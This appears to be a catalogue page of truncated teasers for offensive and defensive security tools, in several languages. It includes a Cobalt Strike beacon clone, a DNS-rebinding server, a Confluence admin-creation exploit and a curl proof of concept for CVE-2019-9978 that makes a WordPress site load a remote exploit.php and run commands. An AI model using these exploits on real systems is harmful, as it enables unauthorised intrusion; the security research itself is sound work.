geacon

Geacon Using Go to implement CobaltStrike's Beacon This project is for learning protocol analysis and reverse engineering only, if someone's rights have been violated, please contact me to remove the project, and the last DO NOT USE IT ILLEGALLY How to play 1. Setup the teamserver and start a htt...

CVE-2024-54879

一、Project overview item| content| remark ---|---|--- Authorized penetration range| http://192.168.88.141/| Local test Source code download| https://www.seacms.net/SeaCMSV13.1installf.zip| Open source project Scope of vulnerability| SeaCMSV13.1| 二、Vulnerability description 1、Logic bug - Unlimited...

CVE-2022-43117

Suggested description Sourcecodester Password Storage Application in PHP/OOP and MySQL 1.0 was discovered to contain multiple cross-site scripting XSS vulnerabilities via the Name, Username, Description and Site Feature parameters. Additional Information Proof Of Concept:...

lighty-sqlinj-demo

title: Ep4 - Network-Related Vulnerability members: Ciro S. Costa Marcela Terakado date: 10 Nov, 2015 Related vulnerability: root@kitploit: CVE-2014-2323 1 was assigned to SQL injection bug. CVE-2014-2324 2 was assigned to the path traversal bug. Confirm:...

CVE-2019-9978

CVE-2019-9978 - Social Warfare Wordpress 插件 RCE 无需任何预认证即可在 Social Warfare Wordpress 插件上实现 RCE 概念验证 root@kitploit: curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php 漏洞代码 ： 修复：...

Samuraizer

Samuraizer — Cyber‑Security Knowledge Base Engine NotebookLM on steroids — purpose-built for security researchers. 💡 Why Samuraizer? Every security researcher knows the feeling — you find an interesting GitHub repo, a fresh CVE writeup, a blog post about a new exploitation technique. You forward ...

tirith

tirith Your browser would catch this. Your terminal won't. Website | Docs | SKILL.md | Changelog | Releases Independent open-source project, with hosting supported by the Vercel Open Source Program Spring 2026 Cohort. Can you spot the difference? root@kitploit: curl -sSL...

dnstwist

See what sort of trouble users can get in trying to type your domain name. Find lookalike domains that adversaries can use to attack you. Can detect typosquatters, phishing attacks, fraud, and brand impersonation. Useful as an additional source of targeted threat intelligence. DNS fuzzing is an...

dnstwist

See what sort of trouble users can get in trying to type your domain name. Find lookalike domains that adversaries can use to attack you. Can detect typosquatters, phishing attacks, fraud, and brand impersonation. Useful as an additional source of targeted threat intelligence. DNS fuzzing is an...

boopkit

root@kitploit: ================================================================ ██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██╗████████╗ ██╔══██╗██╔═══██╗██╔═══██╗██╔══██╗██║ ██╔╝██║╚══██╔══╝ ██████╔╝██║ ██║██║ ██║██████╔╝█████╔╝ ██║ ██║ ██╔══██╗██║ ██║██║ ██║██╔═══╝ ██╔═██╗ ██║ ██║...

Zerodapi

Zerodai Documentation Start! root@kitploit: pip install zerodai==0.0.0.20 root@kitploit: export zerodapikey="YOURAPIKEY" Get your api key https://zerodai.com Simple Conversational Chat - No memory root@kitploit: from zerodai import zerodai import os zerodai.apiauthos.getenv"zerodapikey" messages ...

httpgrep

描述 一个快速、异步的 Python 工具，可扫描 HTTPS 服务器，并在 HTTP 响应体 和响应头中 grep 字符串或正则表达式模式。 它接受单个主机、URL、CIDR 范围、IP 范围或文件；可对每个目标扫描多个 端口（单个端口、逗号分隔列表或范围，并逐端口自动检测 TLS 与明文）； 可直接从 TLS 证书中提取并扫描基于名称的 vhost；将匹配结果实时 流式输出到终端；并可将结果写入文本、CSV 或 JSONL 日志文件。 它专为大规模扫描而构建：异步核心驱动数千个并发连接，TCP 预检可低成本 跳过无响应的端口，每主机与全局超时确保其不会在缓慢/失效目标上挂起，...

httpgrep

Description A fast, asynchronous Python tool that scans HTTPS servers and greps for strings or regex patterns in HTTP response bodies and headers. It takes single hosts, URLs, CIDR ranges, IP ranges or files; scans multiple ports per target single, comma-lists or ranges, auto-detecting TLS vs pla...

whonow

Whonow DNS Server A malicious DNS server for executing DNS Rebinding attacks on the fly. whonow lets you specify DNS responses and rebind rules dynamically using domain requests themselves. root@kitploit: respond to DNS queries for this domain with 34.192.228.43 the first time it is requested and...

whonow

Whonow DNS Server DNS Rebinding攻撃をその場で実行するための悪意のあるDNSサーバーです。whonowを使用すると、DNS応答とリバウンドルールを動的に指定できます。 ドメインリクエスト自体を使用して 。 root@kitploit: respond to DNS queries for this domain with 34.192.228.43 the first time it is requested and then 192.168.1.1 every time after that...

ThreatHunting

ThreatHunting | A Splunk app mapped to MITRE ATT&CK to guide your threat hunts This is a Splunk application containing several dashboards and over 130 reports that will facilitate initial hunting indicators to investigate. You obviously need to be ingesting Sysmon data into Splunk, a good...

reconspider

最先端のオープンソースインテリジェンス（OSINT）フレームワーク ReconSpider ReconSpider は、IPアドレス、メール、Webサイト、組織をスキャンし、さまざまなソースから情報を収集するための、最も高度なオープンソースインテリジェンス（OSINT）フレームワークです。 ReconSpider は、インフォセキュリティ研究者、ペネトレーションテスター、バグハンター、サイバー犯罪捜査官が、ターゲットに関する詳細情報を取得するために使用できます。 ReconSpider はすべての生データを集約し、ダッシュボード上で可視化し、データの警告と監視を容易にします。...

reconspider

Most Advanced Open Source Intelligence OSINT Framework ReconSpider ReconSpider is most Advanced Open Source Intelligence OSINT Framework for scanning IP Address, Emails, Websites, Organizations and find out information from different sources. ReconSpider can be used by Infosec Researchers,...

CVE-2023-22515

红队工具-Confluence未授权添加管理员用户CVE-2023-22515漏洞利用工具 漏洞影响范围 root@kitploit: 8.0.0 = Confluence Data Center and Confluence Server = 8.0.4 8.1.0 = Confluence Data Center and Confluence Server = 8.1.4 8.2.0 = Confluence Data Center and Confluence Server = 8.2.3 8.3.0 = Confluence Data Center and Confluence...

datadome-vm

DataDome VM Analysis Summary This repository documents the first public version of DataDome's in-browser JavaScript virtual machine VM used in their CAPTCHA/interstitial flow. This analysis covers: Bytecode loading and decoding mechanisms VM memory layout and architecture A proof-of-concept...